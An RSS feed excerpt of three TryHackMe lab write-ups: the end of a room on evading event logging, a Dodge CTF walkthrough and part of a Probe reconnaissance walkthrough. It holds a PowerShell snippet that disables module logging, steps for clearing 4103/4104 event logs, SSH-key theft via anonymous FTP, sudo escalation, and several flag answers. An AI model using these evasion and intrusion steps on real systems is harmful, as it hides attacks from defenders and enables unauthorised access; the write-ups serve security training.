false<br>$snap = Get-PSSnapin Microsoft.PowerShell.Core # Get target ps-snapin<br>$snap.LogPipelineExecutionDetails = $false # Set ps-snapin execution details to false</pre><p>The script block above can be appended to any PowerShell script or run in a session to disable module logging of currently imported modules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: What type of logging will this method prevent?</blockquote><p>Answer is within the description.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*yRbjbXVuCG1xJtYIdKU1WA.png" /></figure><blockquote>Answer:: module logging</blockquote><blockquote>Question:: What target module will disable logging for all Microsoft utility modules?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*t9Ly_ihmvuqAUO118XBV7w.png" /></figure><blockquote>Answer:: Microsoft.PowerShell.Utility</blockquote><h3>Task 10 — Real World Scenario<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>In this scenario, you are a red team operator assigned to build an evasive script to disable ETW and execute a compiled binary. In this scenario, environment integrity is crucial, and the blue team is actively monitoring the environment. Your team has informed you that they are primarily concerned with monitoring web traffic; if halted, they will potentially alert your connection. The blue team is also assumed to be searching for suspicious logs; however, they are not forwarding logs. Using the knowledge gained in this room, create a script to execute a binary or command without interference.</p><p><em>Solution Walkthrough (BY THM)</em></p><p>To begin this scenario we need to consider the environment that we are in. We are given the information that they are monitoring web traffic, but how are they accomplishing that? Do they have PowerShell logging enabled? Do they have Sysmon installed? Most of these questions can be answered through manual enumeration or looking for the settings to enable features as discussed in this room.</p><p>With some enumeration, we can identify that PowerShell script block and module logging are enabled. Our best approach to this problem is to disable both GPO settings from the cache for our PowerShell session. This can be accomplished by using the GPO bypass located on the desktop as discussed in Task 8.</p><p>Great! From now on our session is silent, but what about those pesky logs that are generated when the script ran? From the information provided we know that logs are not being forwarded so we can delete any 4104 or 4103 logs that were generated. Because the internet connection is not originating from PowerShell we don’t need to worry about it being disturbed in our silent session. To remove the logs, we can use the <em>Event Viewer</em> GUI or <em>Remove-EventLog</em> in PowerShell. PowerShell script block logs are located in <em>Microsoft/Windows/PowerShell/Operational</em> or <em>Microsoft-Windows-PowerShell. </em>You can then select <em>Clear Log</em> under actions in the GUI or run the PowerShell cmdlet to remove the necessary logs.</p><p>At this point, we should have all the parameters met:</p><ul><li>Disable logging where needed</li><li>Maintain environment integrity</li><li>Clean our tracks</li></ul><p>Now we can test our methodology by running the binary “agent.exe”. If properly implemented a flag will be returned to the desktop. If not properly implemented, <em>“Binary leaked, you got caught” </em>will appear, meaning that the binary appeared in the logs at some point, and you failed the scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: Enter the flag obtained from the desktop after executing the binary.</blockquote><p>Run the ps1 script on the desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*zVZcviDzL5l7d9WWe_HxGQ.png" /></figure><p>Once ran delete the 4103 or 4104 logs from eventviewer.</p><p>Logs are under “Application and Service Logs/Microsoft/Windows/Powershell/Operational” folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*Bs-BDzmUCNtcaFaX8q8v2A.png" /></figure><p>Click “Filter Current Log…” then type 4103 and 4104 in the ID field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*bpOT9VIeYQ3RdyZ-6pn9Ig.png" /></figure><p>Once done Click OK. This will filter only these 2 ID types. Then click Clear Log… then Clear. Then run agent.exe.</p><p>Alternatively follow this instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*g0XbUQg4GgrXxtpdKZXHEA.png" /></figure><p>Ok so either I do mess up something or there is a bug.</p><p>Apparently I did reverse the room :)</p><pre>PS C:\Users\Administrator\Desktop&gt; Select-String -Path .\agent.exe -Pattern &#39;T.*H.*M.*{.*}&#39; -AllMatches | % {$_.Matches}<br><br><br>Groups   : {0}<br>Success  : True<br>Name     : 0<br>Captures : {0}<br>Index    : 67<br>Length   : 261<br>Value    : t - W i n d o w s - S y s m o n / O p e r a t i o n a l &#39;* [ S y s t e m / E v e n t I D = 1 ]  =T r a f f<br>           i c   h a l t e d ,   y o u   g o t   c a u g h t  5E r r o r   r e a d i n g   t h e   l o g :<br>            { 0 }  1T H M { 5 1 l 3 n 7 _ l 1 k 3 _ 4 _ 5 n 4 k 3 }<br><br><br><br>PS C:\Users\Administrator\Desktop&gt;</pre><p>After reversing the binary I found this string in it. Well it is what it is :)</p><blockquote>Answer:: THM{51l3n7_l1k3_4_5n4k3}</blockquote><h3>Task 11 — Conclusion<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>As mentioned throughout this room, the main goal of evading event detections is to keep the environment as clean and intact as possible while preventing the logging of your session or code.</p><p>We have covered a few notable techniques, most of which are aggressive in their approach. To obtain a proper level of “normal” logs, you will need to modify or combine several of these scripts to manipulate other normal functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: Read the above and continue learning!<br>Answer:: No answer needed!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=154bc53bec8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Dodge — Write up]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-dodge-write-up-30a0ddd03fb1?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/30a0ddd03fb1</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[dodge]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Wed, 03 Jan 2024 11:07:46 GMT</pubDate>
            <atom:updated>2024-01-03T11:07:46.405Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Dodge — Write up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*5wXz_SOo-l6izL9X-zwVKw.png" /></figure><p>Link to the room:: <a href="https://tryhackme.com/room/dodge">https://tryhackme.com/room/dodge</a><br>Difficulty:: Medium<br>Tags:: Web, Network evasion, Pivoting, Firewall</p><p><strong>IT IS A SUBSCRIBER ROOM. Free non subscribed users can not join this room.</strong></p><p>Dodge is a newly released CTF room while creating this walkthrough the room is 1 day old and 233 users joined currently to beat this piece. Lets get on it cuz I can’t wait to see what’s in it.</p><blockquote><strong><em>NOTE:: I will not be sharing the THM{} flags across the write up but the write up will still guide you across the how tos and wheres. If you get stuck just follow or read along and I am sure you can get the flags as well.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_r5f8-XX4CEAIQ8QkvkFg.png" /></figure><h3>0x1 Dodge — Introduction<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><p>Welcome to the network evasion challenge, part of TryHackMe’s Red Teaming Path.</p><p>Start by deploying the machine; Click on the Start Machine button in the upper-right-hand corner of this task to deploy the virtual machine for this room.</p><p><strong>Note: </strong>Please allow the machine 4–6 minutes to fully boot.</p><blockquote>Well no story just beat it I guess. Its a bit said but hey its a new challenge :)</blockquote><h3>0x2 Dodge — Questions and the FUN STUFF<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*XN6iTtGM4x4DchkeH9Pfyw.png" /></figure><blockquote>What is the content of user.txt?</blockquote><blockquote>What is the content of root.txt?</blockquote><p>Ok I guess no little candy show on the questions either :) well it is a CTF ater all. So lets start digin’ and see what we can doo pappa scooby doo papa :D</p><blockquote>Sry this music burnt into my brain during xmas. And dont ask me why.</blockquote><p>But anyways lets move on.</p><p>First obviously start up the machine and as usual Im doing it from the Attackbox cuz its easy and I am lazy to start my own laptop. New year old habits. Honestly I dont even know why I have that laptop since I rarely start it up.</p><p>So once the machine spun up and you receive the IP for the machine its all good to go.</p><p>Once ready since twoards the end of last year I started to use “Rustscan” instead of “nmap”. I found it much faster. So dont get surprise if you will see Rust from now on in my writeups.</p><p>So let’s run a rust scan on this machine the command looks like the following below this is kind of a mix cmd line</p><pre>rustscan -a 10.10.140.144 -- -A -sC<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br># Dedacted<br>Open 10.10.140.144:22<br>Open 10.10.140.144:80<br>Open 10.10.140.144:443<br># Dedacted<br>PORT    STATE SERVICE  REASON  VERSION<br>22/tcp  open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>80/tcp  open  http     syn-ack Apache httpd 2.4.41<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: 403 Forbidden<br>443/tcp open  ssl/http syn-ack Apache httpd 2.4.41<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br># Dedacted</pre><p>Within a few seconds you get all the readout as needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*SJEmdEhlD2dztuCHFlrEnQ.png" /><figcaption>First partial section of the rustscan</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*pUBO_Q8UH3tGTSIIcG0-LA.png" /><figcaption>Second partial section of the rastscan output</figcaption></figure><p>So we can see 3 ports 22(SSH) 80 and 443 for http and https.</p><p>Generic step lets see what’s on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*47pkhNcJci5aHvK1pO4Ccw.png" /></figure><p>Well ok. Once I done the same via the https it does give the same resoult.</p><p>Then I thought what if I add the IP and the DNS to the “/etc/hosts” file. Simple task no huff lets give it a shoot. Ohh and I use pluma not “vim” I don’t like Vim at all.</p><pre>sudo pluma /etc/hosts</pre><p>By the way within the rust scan we can see the dns name but it can be found within the certificate if we open a browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*0rH-vhc2z_6N5ws-00_GrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*nLV6CJs_a3PoeRMTS4d8-Q.png" /></figure><p>Once added I tried again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*oz1U7ZyrMWg4E4rG8BUl4w.png" /></figure><p>Yep 403 forbidden. So there is a firewall of some kind. Well I tried Burp as well no luck for now. But then I got stuck and went back to the scan.</p><p>And ohh man I was blind and def. So its and apache server and when I went back noticed this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*IHTYXn9XQfpzT5jrhVVXxQ.png" /></figure><p>I did not care them much at first. Also this is the same thing within the certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*WpSYKNNsXQmd2S9SadDc1g.png" /></figure><p>So all of these DNS names are different and apache handles them differently. So since I got into some rabbit holes Lets add all of these to the “/etc/hosts” file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*Zt50VHFS2lQylCsmswhb4A.png" /></figure><p>Ohh and now we have a site :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*IH9LH3-DOsm8Zp9T0gRlyQ.png" /></figure><p>So upon checking the site it is quite dead. All buttons are inactive. Also I have checked the other DNS resolutions mostly prompting 403. BUT dev and netops. Dev gave me this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*uDMe4vyMhme5I3d-o-wBvw.png" /></figure><p>Had a look anyways. Also checked the Netops which basically returned a blank site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*LqH461jR507TAwrOPMo3Wg.png" /></figure><p>We are not fools lets see the source of this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*JvtuJJwESlSVsi7e1NKeZQ.png" /></figure><p>Ok not much but right away we got something intresting here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*Q2bpOI2OEA7XlXzSX_HfGA.png" /></figure><p>Lets check the firewall.js thats intresting :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*pAMauugZ_4lEgZU7aOvOiA.png" /></figure><p>Upon checking the code we can see there is a fetcing in place which calls a php file. Lets see if we can access this at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*opyEY8FFgxy8fdAlV-cHKw.png" /></figure><p>Ok so we actually can :) UFW on screen stands for “Ubuntu FireWall”</p><p>For UFW commands this page provides many very good information.</p><p><a href="https://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands#allow-an-ip-address">UFW Essentials: Common Firewall Rules and Commands | DigitalOcean</a></p><p>Now to allow FTP we need to enter</p><pre>sudo ufw allow 21</pre><p>After updating the page we can see all FTP traffic is enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*EmFMDWpNHE8uwhTuT3Sxhg.png" /></figure><p>I also tried some other commands but it turns out not all of them are accessible so it is limited what you can do.</p><p>Now that FTP is enabled you can guess what we gonna do :)</p><pre>~# rustscan -a 10.10.140.144 -p 21 -- -sC -sV <br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Nmap? More like slowmap.\U0001f422<br><br>[~] The config file is expected to be at &quot;/home/rustscan/.rustscan.toml&quot;<br>[~] File limit higher than batch size. Can increase speed by increasing batch size &#39;-b 1048476&#39;.<br>Open 10.10.140.144:21<br>[~] Starting Script(s)<br># Dedacted<br>PORT   STATE SERVICE REASON  VERSION<br>21/tcp open  ftp     syn-ack vsftpd 2.0.8 or later<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can&#39;t get directory listing: TIMEOUT<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.10.144.236<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>Service Info: Host: Dodge<br># Dedacted<br></pre><p>I bet you thought not of this :) anyways I thought now if that’s open let’s see if there are some info additional we can figure and move on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*hWNvuzPrW3rNRk_gxlpRKg.png" /><figcaption>p 21 ftp - rustscan section</figcaption></figure><p>And yes Anonymous is enabled so its an easy log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*qRuKHcyzATbcVAsrLIsMkg.png" /></figure><p>I am not going to explain the anonymous login its super simple.</p><p>lets see the files within.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*25ppQZsI2HC10QVGd4__aw.png" /></figure><p>NICE. Now if you look closer there is one catch. We can only read this file. We can not download it.</p><p>Ok step 2 do the lalala as “ls -la” :) always check the hidden files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*MKba12NmYVBtWgYMWhHMhg.png" /></figure><p>We have a bash history very well. But the only thing is that I logged in from my machines home root base whatever and if I get this there it will mess with my system. So lets log off from the ftp and create a folder from where we can get this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*ZtwqO_5u3PouboS-hB0boQ.png" /></figure><p>Now that we have it we can check the hidden bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*kLzesqADUa4xA3xAdNkdxQ.png" /></figure><p>So I know not much but just lets keep this in mind for later we might need it. Or maybe not. We dont know just yet.</p><p>So lets move on. Remember the hidden files :)</p><p>If we keep browsing we can see the .ssh folder. Not good NOT GOOD.</p><p>Lets get in it :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*ugfj0g5AKQxbT_cDi0XuoA.png" /></figure><p>So 2 files out of three we can get. And we will get them. :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*_vV__PsM_ZcSDDGsME_7UQ.png" /></figure><p>Nice. More stuff to work with. Now lets examine what we have in these files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*WPhshbD9_VQGa_hNPXCUjw.png" /></figure><p>I changed the permissions for the id_rsa_file to be used later and upon checking the auth_keys file I stumbled upon the user “Challenger”.</p><p>Lets try to use the backup file with this user on the ssh login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*mlYCFUNynvqCLH9ZxynvPg.png" /></figure><p>Ok so it worked :D we kind of bypassed half of the world to get here but hey its a small victory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*RJyxerMsOaReSXthiLxVig.png" /><figcaption>Cat the user.txt and you will receive the user flag.</figcaption></figure><p>Right now we have the flag. OK so now lets see what and who else we can find here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*Ktr6gOOWnC1S1zZ6Vkeqaw.png" /></figure><p>A bit of digging we could find these users and cobra looks intresting. Upon investigating I could find that currently we can not move along too much so we need to fall back to challenger.</p><p>This was the moment when I remembered the history file and the 2 files we found earlier. Remember ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/145/1*GRekEbBYJzEiSlhl5-MxiQ.png" /></figure><p>Lets try to find these files.</p><pre>challenger@thm-lamp:~$ find / -type f -name setup.php 2&gt;/dev/null<br>/var/www/notes/api/setup.php<br>challenger@thm-lamp:~$ find / -type f -name posts.php 2&gt;/dev/null<br>/var/www/notes/api/posts.php<br>challenger@thm-lamp:~$</pre><p>All of them are at the same spot amazing. Lets check em out.</p><p>So I tried the setup.php file but did not find any intresting thing.</p><p>Then the posts.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*GT7_4sa0ogsKi-zZEqQs7g.png" /></figure><p>Now this is more intresting then the setup.php :) We can see that the post got basically encoded with Base64. So lets cp it over to CS for help.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*78lh9oriGBokO_3p5Ciwrw.png" /></figure><p>Once we have the decoded post it is really a post with cobras credentials.</p><p>So lets switch over to his account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*qEs1MuSainxi3HxVK-0nzA.png" /></figure><p>Now since we got in with a password lets try “sudo -l” with cobra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*HHTxEP4trr-eG1F4QkvEYg.png" /></figure><p>So yes usual from here go to GTFObins.</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><p>And search for APT and look for the Sudo options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*-Bi5ITmuaL755WH01z9VMg.png" /></figure><p>Since we have a working existing shell I used the c option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*mnDiBI0IiJRyTAG0F6aktA.png" /></figure><p>And we have the root flag as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*7WR0a20u3QJj29vbHA1Rsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*lw1G0WP1vcaeVn_v4xtqKA.png" /></figure><p>After completing this room I got a BIG no a HUGE reliefe from my chest. It is a really nice room and a really nice set of actions we need to perform during the CTF challenge.</p><p>The only section I did not really like is the end. It feels like a show with great acting and great story but at the end it feels unfinished a little bit.</p><p>Other then that. I LOVED this room and can suggest to go through it since a lot can be learned.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30a0ddd03fb1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Probe — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-probe-walkthrough-f10e2f8dd54c?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f10e2f8dd54c</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[nikto]]></category>
            <category><![CDATA[probe]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Thu, 16 Nov 2023 11:29:45 GMT</pubDate>
            <atom:updated>2023-11-16T11:32:08.986Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Probe — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*WW6ilvuGLm6PY38gAqupmQ.png" /></figure><p>Link to the room:: <a href="https://tryhackme.com/room/probe#">https://tryhackme.com/room/probe#</a><br>Difficulty:: Easy</p><p>So this is a fairly new room and I just got time to do it. So the tasks are fairly self-explanatory :) we have to gain the info asked. Basically Probing the endpoint. I assume that’s where the name comes from “Probe” if not leave me a comment on it :D</p><p>But lets dive into it. Also Amazingly I will be using “Kali” just to practice a bit on that as well :D Yes I am a “Parrot” person.</p><p>There’s not much of a story behind only the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*0ilS8uJydROgivVhKfz5-Q.png" /></figure><p><em>Sometimes all you know against a target is an IP address. Can you complete the challenge and conduct an in-depth probe on the target?</em></p><p>Lets see the questions and what we can get :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*bl62Kj8M30a1I8lGuomLcw.png" /></figure><blockquote>Question:: What is the version of the Apache server?</blockquote><p>For this I was running a very simple nmap scan. Also this will answer us a few other questions I hope. I wont detail what’s what in the script below I just tend to use this more often during these cases.</p><pre>nmap -A -p- [Machine_IP] -T5 -Pn</pre><p>This gave us quite a result.</p><pre>┌──(root㉿kali)-[~]<br>└─# nmap -A -p- 10.10.4.104 -T5 -Pn<br>Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-16 08:54 UTC<br>Nmap scan report for ip-10-10-4-104.eu-west-1.compute.internal (10.10.4.104)<br>Host is up (0.00088s latency).<br>Not shown: 65527 closed tcp ports (reset)<br>PORT     STATE SERVICE                 VERSION<br>22/tcp   open  ssh                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 068e3855a91df77f16a1b756d4d4d181 (RSA)<br>|   256 4c58a8837d169c30f2dc40060f68262e (ECDSA)<br>|_  256 004dda639d0cca38bdbd728c1657a085 (ED25519)<br>80/tcp   open  http                    lighttpd 1.4.55<br>|_http-server-header: lighttpd/1.4.55<br>|_http-title: 403 Forbidden<br>443/tcp  open  ssl/http                Apache httpd 2.4.41<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=dev.probe.thm/organizationName=Tester/stateOrProvinceName=Some-State/countryName=US<br>| Not valid before: 2023-07-18T10:57:05<br>|_Not valid after:  2024-07-17T10:57:05<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>| tls-alpn: <br>|_  http/1.1<br>|_http-title: 403 Forbidden<br>1338/tcp open  ftp                     vsftpd 2.0.8 or later<br>1443/tcp open  ssl/http                Apache httpd 2.4.41 ((Ubuntu))<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_  http/1.1<br>| ssl-cert: Subject: commonName=dev.probe.thm/organizationName=Tester/stateOrProvinceName=Some-State/countryName=US<br>| Not valid before: 2023-07-18T10:57:05<br>|_Not valid after:  2024-07-17T10:57:05<br>|_http-title: PHP 7.4.3-4ubuntu2.19 - phpinfo()<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>1883/tcp open  mosquitto version 1.6.9<br>| mqtt-subscribe: <br>|   Topics and their most recent payloads:<br># Deducted content<br>|_    $SYS/broker/load/messages/sent/15min: 0.07<br>8000/tcp open  http                    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>9007/tcp open  http                    Apache httpd 2.4.41<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: 400 Bad Request<br>MAC Address: 02:33:91:AA:DE:E9 (Unknown)</pre><p>And we already have an answer for the first question.</p><blockquote>Answer:: 2.4.41</blockquote><blockquote>Question:: What is the port number of the FTP service?</blockquote><p>As we can see in the initial nmap scan we can find the relevant port</p><pre># Deducted <br>|_  http/1.1<br>|_http-title: 403 Forbidden<br>1338/tcp open  ftp                     vsftpd 2.0.8 or later<br>1443/tcp open  ssl/http                Apache httpd 2.4.41 ((Ubuntu))<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_  http/1.1<br># Deducted</pre><blockquote>Answer:: 1338</blockquote><blockquote>Question:: What is the FQDN for the website hosted using a self-signed certificate and contains critical server information as the homepage?</blockquote><p>Again this one can be answered from the initial nmap scan. Look for the cname or CommonName output.</p><pre><br># Deducted<br>1443/tcp open  ssl/http                Apache httpd 2.4.41 ((Ubuntu))<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_  http/1.1<br>| ssl-cert: Subject: commonName=dev.probe.thm/organizationName=Tester/stateOrProvinceName=Some-State/countryName=US<br>| Not valid before: 2023-07-18T10:57:05<br>|_Not valid after:  2024-07-17T10:57:05<br>|_http-title: PHP 7.4.3-4ubuntu2.19 - phpinfo()<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br># Deducted</pre><blockquote>Answer:: dev.probe.thm</blockquote><blockquote>Question:: What is the email address associated with the SSL certificate used to sign the website mentioned in Q3?</blockquote><p>So if we open it up as it was then we get a 403 Forbidden error. That goes to port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*69etgvL_CJwAwHd0TWW6Wg.png" /></figure><p>If you payed close attention to the nmap read this was excpected behaviour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*YeX5v1hKEoC3niFunSua1w.png" /></figure><p>What we need is to use the https / SSL signed ports. 443 or 1443.</p><p>So open a browser and get to the url.</p><pre>https://[Machine_ip]:443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*NGhJZGbcUPHWJMRVW2RKBQ.png" /></figure><p>You will receive a risk warning. Click Advanced</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*F6SSlzvYFqEVdWEuqvKTmw.png" /></figure><p>Then “<strong>View Certificate</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*B3RH-EoloPNmE1ZltDI4Aw.png" /></figure><p>Here we have all the information we need about the self signed cert in question.</p><blockquote>Answer:: probe@probe.thm</blockquote><blockquote>Question:: What is the value of the <strong>PHP Extension Build</strong> on the server?</blockquote><p>So for this I went back to the main nmap read out and checked the available http options. Found out that 80 and 443 will generate 403 Forbidden errors. Then I found the next port “1443”.</p><pre># Deducted<br>1443/tcp open  ssl/http                Apache httpd 2.4.41 ((Ubuntu))<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_  http/1.1<br>| ssl-cert: Subject: commonName=dev.probe.thm/organizationName=Tester/stateOrProvinceName=Some-State/countryName=US<br>| Not valid before: 2023-07-18T10:57:05<br>|_Not valid after:  2024-07-17T10:57:05<br>|_http-title: PHP 7.4.3-4ubuntu2.19 - phpinfo()<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br># Deducted</pre><p>Why this because this does not generate any error message and if you check it closely you will see that within the http-header it uses PHP.</p><p>So lets hop on and accept all the risk and certificate as before and see what comes up.</p><p>Once accepted all of them we end up on a php info page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*SQpJI5HoYUVIuv5809dJJw.png" /></figure><p>Here we need to look for the PHP Extension section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*bqzGLx5OurG5Qyt_pA-nHQ.png" /></figure><p>And we have the answer.</p><blockquote>Answer:: API20190902,NTS</blockquote><blockquote>Question:: What is the banner for the FTP service?</blockquote><p>Do you remember the nmap scan? Of course you do. We found that following regarding ftp.</p><pre># Deducted<br>|_  http/1.1<br>|_http-title: 403 Forbidden<br>1338/tcp open  ftp                     vsftpd 2.0.8 or later<br>1443/tcp open  ssl/http                Apache httpd 2.4.41 ((Ubuntu))<br># Deducted</pre><p>So FTP runs on TCP port 1338 in this case.</p><p>I could run nmap again for banner grabbing but would take long on THMs built in kali box :) even when subscribed.</p><p>So I went for the netcat below.</p><pre>nc -nv [Machine_IP] 1338</pre><p>nc — NetCat<br>-n — Numeric IP only<br>-v — Verbose mode<br>[Machine_IP] — your machine IP<br>1338 — Port of the ftp service</p><p>Once run we get the following</p><pre>┌──(root㉿kali)-[~]<br>└─# nc -nv 10.10.4.104 1338<br>(UNKNOWN) [10.10.4.104] 1338 (?) open<br>220 THM{WELCOME_101113}<br>421 Timeout.</pre><blockquote>Answer:: THM{WELCOME_101113}</blockquote><blockquote>Question:: What software is used for managing the database on the server?</blockquote><p>Ok so we have gone through most of the ports so far.</p><p>I did another gobuster scan related to another question which gave 